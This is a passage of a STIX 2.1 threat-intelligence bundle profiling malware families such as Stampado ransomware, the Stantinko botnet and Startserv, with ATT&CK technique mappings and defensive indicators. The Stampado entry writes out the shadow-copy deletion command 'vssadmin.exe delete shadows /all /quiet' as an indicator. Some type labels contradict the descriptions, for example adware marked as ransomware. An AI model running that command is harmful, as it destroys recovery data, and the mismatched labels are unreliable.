      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stagol exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36ee80ed-2997-5b06-ae95-13642a135e93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8801dc92-7ee6-530d-8449-c41a65c4b456",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stagol exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--368b86fb-1062-512b-83c7-ff4749de3718",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8801dc92-7ee6-530d-8449-c41a65c4b456",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stagol exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--246198ac-587f-5dff-8080-789f43ffe4f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8801dc92-7ee6-530d-8449-c41a65c4b456",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stagol exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8876924-4cb6-5a8a-8785-5166fa09a9e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8801dc92-7ee6-530d-8449-c41a65c4b456",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stagol exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--adacc503-ac9d-58a5-9b04-5ee3396c6c2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stalk",
      "description": "Riskware:Win32/Stalk is a generic heuristic detection used by antivirus engines to flag commercial 'employee monitoring', 'parental control', or 'stalkerware' applications. While these tools can be purchased legally and ostensibly have legitimate use cases, their core functionality is identical to highly malicious spyware and keyloggers. Threat actors, advanced persistent threats (APTs), and insider threats frequently weaponize these commercial tools to bypass AV and spy on users.<br><br><b>Understanding Stalk (Stalkerware/Keyloggers)</b><br>To an end-user, the presence of a Stalk implies they have zero privacy; every keystroke, email, and website visited is being recorded. For a security analyst, this detection requires immediate investigation. If the IT department did not authorize the installation (e.g., for DLP monitoring), it indicates an active breach, an insider threat, or severe user policy violation (`T1056.001`).<br><br><b>Execution and Espionage Mechanics</b><br>These tools are typically installed manually by someone with physical access to the machine, or deployed silently via an MDM or Group Policy if authorized by IT. Once installed (`T1547.001`), they operate deep within the OS. They utilize Windows API hooking (like `SetWindowsHookEx`) to capture all keystrokes (`T1056.001`), periodically take screenshots (`T1113`), and monitor clipboard contents (`T1115`). Because they are 'legitimate' commercial software, they are often digitally signed and attempt to hide their processes from the standard Task Manager, silently uploading the harvested data to a cloud dashboard controlled by the installer.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a total loss of confidentiality for the endpoint. Host-based IoCs include EDR alerts for 'Suspicious API Hooking' (specifically keyboard hooks). The presence of hidden directories in `C:\\ProgramData` or `AppData` containing massive, encrypted log files or thousands of screenshots is a definitive indicator. Network IoCs include continuous, encrypted outbound traffic to known domains associated with commercial stalkerware vendors (e.g., FlexiSPY, mSpy, ActivTrak). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stalk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stalk"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16d9efac-4b05-5b80-90b3-8e74bdb939f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adacc503-ac9d-58a5-9b04-5ee3396c6c2b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stalk exhibits technique T1056.001 (Input Capture: Keylogging (Primary function))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39e85ee7-de19-52fc-ba5b-5104dfcffe44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adacc503-ac9d-58a5-9b04-5ee3396c6c2b",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stalk exhibits technique T1113 (Screen Capture (Recording desktop activity))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a4e7cf2-c46a-547b-840b-4fe0179f77d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adacc503-ac9d-58a5-9b04-5ee3396c6c2b",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stalk exhibits technique T1115 (Clipboard Data (Capturing copied passwords))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--83620ba2-3024-5ff5-8cef-e43c6839177a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stampado",
      "description": "Ransom:Win32/Stampado is a notorious example of cheap 'Ransomware-as-a-Service' (RaaS). Unlike advanced ransomware families that demand massive payouts from corporations, Stampado was famously sold on the dark web for just $39 (`T1486`), allowing low-skill attackers (script kiddies) to easily generate and distribute their own ransomware campaigns.<br><br><b>Understanding Stampado (Cheap RaaS)</b><br>To an end-user, a Stampado infection results in the immediate encryption of their personal files, followed by a threatening ransom note demanding Bitcoin. For a SOC analyst, Stampado indicates that the network may have fallen victim to a highly untargeted, opportunistic attack, likely originating from a generic malspam campaign rather than a sophisticated Advanced Persistent Threat (APT).<br><br><b>Execution and Extortion Mechanics</b><br>Written primarily in AutoIt (a scripting language often used for legitimate automation but easily abused), Stampado is usually delivered via phishing emails containing malicious ZIP attachments. Upon execution, it does not require administrative privileges. It quickly enumerates user directories (`T1083`) and encrypts common document, image, and database file types using AES encryption (`T1486`). It establishes persistence via Registry Run keys. Crucially, Stampado aggressively attempts to delete Volume Shadow Copies (`T1490`) using `vssadmin.exe` to prevent easy restoration.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is significant data loss and operational downtime. Host-based IoCs include the presence of files with a `.locked` extension, the sudden execution of `vssadmin.exe delete shadows /all /quiet`, and the creation of ransom note files (often named `RESTORE_FILES.txt` or similar) in every encrypted directory. Because it was sold so cheaply, many different, slightly modified versions of Stampado exist in the wild. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stampado",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stampado"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce672909-b80a-56db-90cc-a9fd2db91ae0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83620ba2-3024-5ff5-8cef-e43c6839177a",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stampado exhibits technique T1486 (Data Encrypted for Impact (The core ransomware functionality))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79ee32d5-9055-5fa3-b5d6-505696b7216c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83620ba2-3024-5ff5-8cef-e43c6839177a",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stampado exhibits technique T1490 (Inhibit System Recovery (Deleting Volume Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--844747c0-f072-5f37-a96b-47a027f4bd16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83620ba2-3024-5ff5-8cef-e43c6839177a",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stampado exhibits technique T1083 (File and Directory Discovery (Locating files to encrypt))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6069afff-2997-5903-b4f2-241973515061",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stantinko",
      "description": "Stantinko (tracked across threat intelligence feeds as Trojan:Win32/Stantinko, Win32/CoinMiner.Stantinko, and Trojan.Win32.Stantinko) is a massive, highly resilient cybercriminal botnet documented extensively by ESET Research. Active since at least 2012, Stantinko has compromised over 500,000 endpoints primarily across Russia, Ukraine, Belarus, and Kazakhstan. The botnet employs sophisticated multi-stage infection chains, distributing its modular dropper disguised as pirated software or cracked torrents. Once on an endpoint, Stantinko establishes mutual self-healing Windows services (e.g., udservice.exe); if one service is terminated or deleted, the sibling service immediately restores it. Stantinko's operators deploy diverse monetization modules, including installing malicious extensions from the Chrome Web Store (such as 'The Safe Surfing' and 'Teddy Protection') to execute click fraud and ad-injection, conducting social network account takeover, launching brute-force attacks against WordPress and Joomla administrator consoles, and mining Monero using heavily obfuscated, per-victim compiled xmr-stak cryptominers that resolve mining proxy IPs covertly encoded into YouTube video descriptions. (Observed samples in benchmark: 168)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Stantinko",
        "Win32/CoinMiner.Stantinko",
        "Win64/CoinMiner.Stantinko",
        "Trojan.Win32.Stantinko",
        "Stantinko Botnet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stantinko",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stantinko"
        }
      ],
      "labels": [
        "botnet",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dde53d74-a66f-53c2-a621-9f1a2d66c904",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6069afff-2997-5903-b4f2-241973515061",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stantinko exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ab7fa42-3411-5408-9e9f-344f1d4edf1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6069afff-2997-5903-b4f2-241973515061",
      "target_ref": "attack-pattern--64b1ee32-1cf5-53c5-8a32-e95bd2440cc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stantinko exhibits technique T1546.003 (Event Triggered Execution: Windows Management Instrumentation Event Subscription)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37fb4da5-a934-558a-ac27-b1eddcf7049d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6069afff-2997-5903-b4f2-241973515061",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stantinko exhibits technique T1496 (Resource Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bda282e2-0bb2-5e39-b6c6-f5e133f1ac03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6069afff-2997-5903-b4f2-241973515061",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stantinko exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da0d80c8-658e-5088-8d71-245125dc7046",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6069afff-2997-5903-b4f2-241973515061",
      "target_ref": "attack-pattern--51f784b2-9c5d-57fb-a8ec-572422bdf826",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stantinko exhibits technique T1102.001 (Web Service: Bidirectional Communication)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e84658b9-e718-5034-bed9-9e60da295aa9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6069afff-2997-5903-b4f2-241973515061",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stantinko exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d5f95203-0a82-5d39-9567-d27bbb1fbd2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Startp",
      "description": "<h3>Executive Summary</h3>\nStartp is a specialized Trojan component primarily designed to manipulate the Windows boot process and startup configuration. Its singular goal is to establish deep, resilient persistence for itself or a secondary malware payload, ensuring that malicious code is executed automatically every time the operating system initializes or a user logs in.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nStartp is rarely a standalone threat; it is usually dropped by an initial access broker, a downloader, or as part of a larger malware framework (like a botnet client) to guarantee survival across reboots.\n\nUpon execution, Startp employs multiple techniques to anchor itself to the system:\n<ul>\n<li><strong>Registry Manipulation:</strong> The most common method involves adding values to the standard Windows Autostart Extension Points (ASEPs), specifically `HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` or the `RunOnce` keys.</li>\n<li><strong>Startup Folder Abuse:</strong> It may copy a malicious executable or a VBScript shortcut directly into the user's or the system's `Startup` folder (`shell:startup`).</li>\n<li><strong>Service Creation:</strong> More advanced variants of Startp will install themselves as a hidden Windows Service, allowing the malware to execute with `SYSTEM` privileges before any user even logs into the machine.</li>\n<li><strong>Winlogon Hijacking:</strong> It may modify the `Winlogon\\Userinit` or `Shell` registry keys to force the execution of its payload alongside the legitimate `explorer.exe` process.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of Startp indicates that a threat actor has successfully escalated privileges (to modify `HKLM` or create services) and established a permanent foothold. The persistence mechanism must be completely eradicated; otherwise, the primary malware payload will simply regenerate upon the next reboot.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Identify the Payload:</strong> The Startp component itself is just the anchor. Responders must trace the persistence mechanism (the registry key or scheduled task) to identify the actual malicious executable it is launching.</li>\n<li><strong>Break the Chain of Persistence:</strong> Boot the system into Safe Mode or use offline registry editing tools. Delete the malicious entries in the `Run` keys, remove unauthorized Scheduled Tasks, and disable any rogue Windows Services.</li>\n<li><strong>Endpoint Eradication:</strong> Once the persistence mechanisms are severed, utilize EDR or anti-malware tools to quarantine the core malware executables and perform a full system sweep.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.StartPage",
        "Trojan.Startp",
        "Win32/Startp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Startp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/startp"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--619d1fc3-b6c0-5dbe-87ce-b93080c0bee7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5f95203-0a82-5d39-9567-d27bbb1fbd2e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58e20b8d-7be5-5f4b-8d22-99b9f0ae4079",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5f95203-0a82-5d39-9567-d27bbb1fbd2e",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startp exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cad1c26d-f04e-5685-a8c7-1a2d8c67796c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5f95203-0a82-5d39-9567-d27bbb1fbd2e",
      "target_ref": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startp exhibits technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL (Shell hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e5215d32-817f-58b5-95fa-223548c493c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Startpa",
      "description": "Adware:Win32/Startpa is a highly intrusive adware family designed to hijack the user's web browsing experience. Its primary goal is monetization through forced ad impressions and affiliate link redirection. Startpa specifically targets the browser's core components, injecting advertisements directly into web pages and altering default search settings without user consent (`T1189`).<br><br><b>Understanding Startpa (Browser Hijacking)</b><br>To an end-user, Startpa makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, random text on web pages is turned into hyperlinks, and large banner ads obscure actual content. For an IT department, Startpa is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware like ransomware or credential stealers (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Startpa is typically distributed via pay-per-install (PPI) networks, bundled with freeware or deceptive 'update' prompts (e.g., fake Flash players). Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then drops malicious extensions into Chrome, Edge, and Firefox. To prevent easy removal, Startpa often modifies the Windows Registry (specifically the `ExtensionInstallForcelist` policies for Chrome/Edge) (`T1562.001`), locking the extension so the user cannot uninstall it via the browser UI.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (often with random alphanumeric IDs), unauthorized modifications to browser policy registry keys (`HKLM\\Software\\Policies\\Google\\Chrome`), and unexpected executables running from `%LocalAppData%`. Network IoCs involve constant, high-volume background HTTP/HTTPS requests to known advertising networks and tracking domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Startpa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/startpa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbb32ab5-44e5-50d5-97a1-23e18d3ccdc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5215d32-817f-58b5-95fa-223548c493c2",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startpa exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80b9b8f0-5356-551e-8707-feb9bb64b200",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5215d32-817f-58b5-95fa-223548c493c2",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startpa exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3ac9c83-b406-5ef2-acb8-9b7b944bf16e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5215d32-817f-58b5-95fa-223548c493c2",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startpa exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a8ffe88a-d2ca-5a47-8cf6-5ba0e8a7d472",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Startserv",
      "description": "Trojan:Win32/Startserv is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Startserv</b><br>To an end-user, a Startserv infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Startserv is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Startserv is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Startserv frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Startserv reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Startserv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/startserv"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b351914c-e808-5fa2-b97f-de7b0d5c4158",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8ffe88a-d2ca-5a47-8cf6-5ba0e8a7d472",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startserv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49206f2b-5774-5031-8e88-81062b5f4f4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8ffe88a-d2ca-5a47-8cf6-5ba0e8a7d472",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startserv exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6be7319d-d70a-513a-8b45-cbdcb6c4c435",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8ffe88a-d2ca-5a47-8cf6-5ba0e8a7d472",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startserv exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--158d5349-dfb8-5457-b0c9-9d416a072a88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8ffe88a-d2ca-5a47-8cf6-5ba0e8a7d472",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startserv exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--849decfb-8216-504d-a2e0-50730515eb83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8ffe88a-d2ca-5a47-8cf6-5ba0e8a7d472",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startserv exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ee9e8be7-9a05-507d-b507-380437d787ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Startsurf",
